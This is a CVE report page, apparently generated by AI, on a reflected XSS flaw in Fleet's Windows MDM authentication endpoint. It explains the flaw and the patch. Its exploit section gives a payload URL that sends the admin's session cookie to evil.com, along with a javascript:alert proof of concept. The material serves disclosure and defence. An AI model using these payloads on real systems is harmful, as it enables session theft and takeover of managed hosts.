CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22808

Fleet MDM: When Text Templates Become Admin Account Takeovers

Alon Barad
Alon Barad
Software Engineer

Jan 20, 2026·5 min read·34 visits

Executive Summary (TL;DR)

Fleet's Windows MDM authentication endpoint used Go's `text/template` engine instead of the secure `html/template` engine to render responses. This lack of contextual escaping allowed attackers to inject arbitrary JavaScript via the `appru` parameter. If an authenticated admin clicks a malicious link, their session can be hijacked.

A classic tale of "wrong tool for the job" in the Go ecosystem led to a Reflected Cross-Site Scripting (XSS) vulnerability in Fleet's Windows MDM component. By confusing text generation with HTML rendering, developers inadvertently allowed attackers to inject malicious JavaScript via the `appru` parameter.

The Hook: Managing the Managers

Fleet is the open-source darling of the osquery world, allowing security teams to query and manage thousands of endpoints as if they were a single database. It’s powerful, centralized, and typically sits behind heavy authentication. But like any fortress, it has side doors.

One of those side doors is the Windows Mobile Device Management (MDM) integration. This feature allows Fleet to act as a management authority for Windows devices, handling enrollment, configuration, and security policies. To make this magic happen, Fleet exposes a Security Token Service (STS) endpoint—specifically mdmMicrosoftAuthEndpoint.

This endpoint handles the handshake between the Windows OS and Fleet. It takes parameters from the request, does some processing, and sends a response back to the client. It’s a classic reflection point: user input goes in, HTML comes out. If you’ve been in this game long enough, you know exactly where this is going.

The Flaw: Text vs. HTML

Go is a fantastic language for security—memory safety, strong typing, and great standard libraries. But it hands you two loaded guns in the text and html packages: text/template and html/template.

They share the same interface. They look identical in code. But they behave very differently. html/template is context-aware; it knows that if you put a string inside a <script> tag or an href attribute, it needs to be escaped to prevent code execution. text/template? It doesn't care. It treats your output as a dumb string of characters.

The developers at Fleet made the classic blunder: they used text/template to render an HTML response for the MDM authentication flow. This meant that whatever data was passed into the template was written raw to the HTTP response body. No sanitization. No encoding. Just raw bytes.

The Code: Anatomy of a Screw-Up

Let’s look at the smoking gun. The vulnerability lived in server/service/microsoft_mdm.go. The endpoint accepted a query parameter named appru (Application Response URL), which dictates where the client should go next.

Here is the logic flaw in its purest form. The code took appru and shoved it directly into a template without validating that it was actually a URL, or even a safe string.

The Vulnerable Pattern (Conceptual):

// BAD: Using text/template
t, _ := text_template.New("response").Parse(`<form action="{{.Appru}}">...`)
t.Execute(w, data)

If an attacker sets appru to javascript:alert(1), the rendered HTML becomes <form action="javascript:alert(1)">. When the browser processes this, it doesn't see a URL; it sees code.

The fix involved two critical changes in commit 0e6c790803d1b4407c5b4b41a67a37864a3d3573. First, they switched to html/template. Second, they stopped trusting the input blindly.

The Fix:

// server/service/microsoft_mdm.go
 
func isValidAppru(appru string) bool {
    parsed, err := url.Parse(appru)
    if err != nil {
        return false
    }
    // STRICT ALLOWLIST: Only allow http, https, and ms-app schemes
    return slices.Contains([]string{"http", "https", "ms-app"}, parsed.Scheme)
}
 
func mdmMicrosoftAuthEndpoint(...) {
    // ...
    if !isValidAppru(appru) {
        // Hard stop if the scheme looks fishy
        return getSTSAuthContent(""), fmt.Errorf("non-URL appru parameter attempted: %q", appru)
    }
    // ...
}

This is a textbook remediation: fix the output encoding and validate the input against a strict allowlist.

The Exploit: Crafting the Payload

Exploiting this is trivial because the reflection is unfiltered. The goal is to get the victim's browser to execute JavaScript in the context of the Fleet domain. Since the appru parameter is reflected into a context that executes the URI (likely a form action or a redirect script), we can use the javascript: pseudo-protocol.

Attack Scenario:

  1. Target: A Fleet administrator who is currently logged in.
  2. Vector: A phishing email or a slack message saying, "Hey, the Windows MDM connector is failing, check this log."
  3. Payload: The link points to the Fleet instance with a malicious payload.
https://fleet.target-corp.com/api/v1/microsoft_mdm/mde/2/auth?appru=javascript:fetch('https://evil.com/steal?c='+document.cookie)

When the admin clicks this link:

  1. The Fleet server receives the request.
  2. It renders the template using text/template, blindly inserting the javascript:... string.
  3. The browser receives the HTML and attempts to use appru (perhaps auto-submitting a form or setting window.location).
  4. The JavaScript executes.
  5. The admin's session cookie is sent to evil.com.

It’s simple, elegant, and devastatingly effective against applications that forget the basics of web security.

The Impact: From XSS to RCE

Why should you care about XSS in an MDM platform? Because Fleet isn't just a reporting tool; it's a command-and-control center.

If an attacker steals an admin session via this XSS, they inherit the admin's permissions. In Fleet, an admin can:

  1. Run arbitrary queries (osquery) on all enrolled hosts.
  2. Deploy software to managed endpoints.
  3. Modify configurations, disabling monitoring or opening backdoors.

Effectively, a single XSS in the management server can be leveraged to gain Remote Code Execution (RCE) on every laptop and server managed by that Fleet instance. You aren't just hacking the website; you're hacking the entire fleet (pun intended).

Official Patches

FleetGitHub Commit Fix

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS Probability
0.08%
Top 100% most exploited
2,500
via Shodan

Affected Systems

Fleet (server) with Windows MDM enabled

Affected Versions Detail

Product
Affected Versions
Fixed Version
Fleet
Fleet Device Management
< 4.53.34.53.3
Fleet
Fleet Device Management
>= 4.54.0, < 4.75.24.75.2
Fleet
Fleet Device Management
>= 4.76.0, < 4.76.24.76.2
Fleet
Fleet Device Management
>= 4.77.0, < 4.77.14.77.1
Fleet
Fleet Device Management
>= 4.78.0, < 4.78.24.78.2
AttributeDetail
CWE IDCWE-79 (Cross-site Scripting)
CVSS v3.16.1 (Medium)
Attack VectorNetwork (Reflected via URL)
Privileges RequiredNone (Target is the Admin)
User InteractionRequired (Phishing/Click)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1552.001Credentials in Files
Credential Access
T1213Data from Information Repositories
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

Manual AnalysisPayload constructed via analysis of patch diff: /api/v1/microsoft_mdm/mde/2/auth?appru=javascript:alert(1)
NucleiDetection Template Available

Vulnerability Timeline

Vulnerability Disclosed & Patched
2026-01-20
GHSA-gfpw-jgvr-cw4j Published
2026-01-20

References & Sources

  • [1]GHSA Advisory
  • [2]EU Vulnerability Database

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 13 hours ago•CVE-2026-63402
5.9

CVE-2026-63402: Prototype-Chain Traversal and Shared Built-in Corruption in i18next

CVE-2026-63402 is a prototype-chain traversal and shared built-in object corruption vulnerability in the i18next internationalization framework for JavaScript prior to version 26.3.4. The flaw resides in the deepExtend utility function within src/utils.js, which uses the JavaScript 'in' operator to verify property existence on target objects. When an application passes untrusted resource bundles to i18next.addResourceBundle() with both the deep and overwrite parameters set to true, an attacker can traverse into inherited methods on Object.prototype and overwrite properties on shared built-in function objects, causing process-wide denial of service.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 14 hours ago•CVE-2026-58262
7.1

CVE-2026-58262: BLS Signature Quorum Bypass via PubKeysBitmap Padding Bits in Klever-Go

CVE-2026-58262 (tracked internally as KLR-04 and via GitHub Security Advisory GHSA-f9h7-4mmq-vgcq) is a cryptographic verification and consensus quorum bypass vulnerability in Klever-Go (`klever-io/klever-go`), the Go implementation of the Klever blockchain protocol. Prior to version 1.7.20, the block header signature verification logic (`HeaderSigVerifier.verifyConsensusSize`) counts all set bits across the entire `PubKeysBitmap` byte slice toward the required two-thirds validator quorum without masking or validating unused trailing padding bits in the final byte. Because the underlying Boneh-Lynn-Shacham (BLS) multi-signature verification function (`blsMultiSigner.Verify`) iterates strictly over the indices of configured validator public keys, it ignores any bits set at indices beyond the active consensus group size. When the consensus group size is not an exact multiple of 8, a compromised or malicious block producer can set these unused trailing padding bits to artificially inflate the apparent signer count by up to 7 signatures, enabling blocks with fewer genuine validator signatures than required by the protocol to pass consensus validation.

Alon Barad
Alon Barad
3 views•14 min read
•about 15 hours ago•CVE-2026-77423
7.5

CVE-2026-77423: Regular Expression Denial of Service (ReDoS) in JLine Built-in Less Viewer

CVE-2026-77423 is a Regular Expression Denial of Service (ReDoS) vulnerability in the built-in less viewer of the JLine Java library (versions 3.0.0 prior to 3.30.15, and 4.0.0 prior to 4.3.1). The org.jline.builtins.Less class passes user-supplied search and display-filter patterns directly to Java's standard backtracking regular expression engine without complexity validation or execution timeouts. An attacker with access to an interactive JLine session can submit patterns containing nested quantifiers, causing catastrophic backtracking that consumes 100% of a CPU core and blocks the session thread indefinitely. In network-facing deployments such as SSH or Telnet administration consoles, repeated exploitation across concurrent sessions can exhaust bounded worker thread pools and result in a complete denial of service.

Alon Barad
Alon Barad
5 views•10 min read
•about 16 hours ago•CVE-2026-63492
8.1

CVE-2026-63492 (Duplicate of CVE-2026-63304): OS Command Injection in WWBN AVideo Standalone API

CVE-2026-63492 is a rejected CVE identifier originally assigned by GitHub for an OS command injection vulnerability in WWBN AVideo (formerly YouPHPTube) up to version 29.0. It was rejected as a duplicate of the canonical identifier CVE-2026-63304 (tracked under GHSA-j44m-77cc-p3cc). The flaw resides in the listFFmpegProcesses() function within plugin/API/standAlone/functions.php, which interpolates unsanitized user parameters directly into a single-quoted shell pipeline executed via PHP's exec() function. Attackers capable of crafting a valid AES-256-CBC encrypted API payload can break out of the single-quoted context and execute arbitrary operating system commands as the web-server user.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 17 hours ago•CVE-2026-63476
4.3

CVE-2026-63476: Unbounded Memory Allocation and Denial of Service in isomorphic-git Packfile Delta Parser

CVE-2026-63476 is an uncontrolled resource consumption vulnerability in isomorphic-git prior to version 1.38.6. When parsing Git packfile delta objects during clone or fetch operations, the applyDelta utility reads an untrusted targetSize integer from the delta stream header and passes it directly to Buffer.alloc(). A malicious remote Git server or man-in-the-middle attacker can supply a delta header specifying a targetSize of approximately 2 GB with minimal actual payload data. Because Buffer.alloc() reserves off-heap memory in Node.js, this bypasses standard V8 heap limits and results in immediate out-of-memory termination or sustained memory retention.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 18 hours ago•CVE-2026-63410
5.9

CVE-2026-63410: Compiler-Induced Timing Side-Channel in secp256k1-native Scalar Multiplication

CVE-2026-63410 (GHSA-vp2j-gqfm-r3cf) is a compiler-induced timing side-channel vulnerability in the secp256k1-native Ruby C extension. When compiled with GCC 14.x or 15.x at optimization level -O2, the compiler reconstructs boolean predicates from branchless bitwise multiplexer routines and emits secret-dependent conditional jump instructions (je/jne). During elliptic curve scalar multiplication in the Montgomery ladder, these conditional branches create observable execution timing variations correlated with individual bits of secret private keys or signing nonces.

Alon Barad
Alon Barad
3 views•12 min read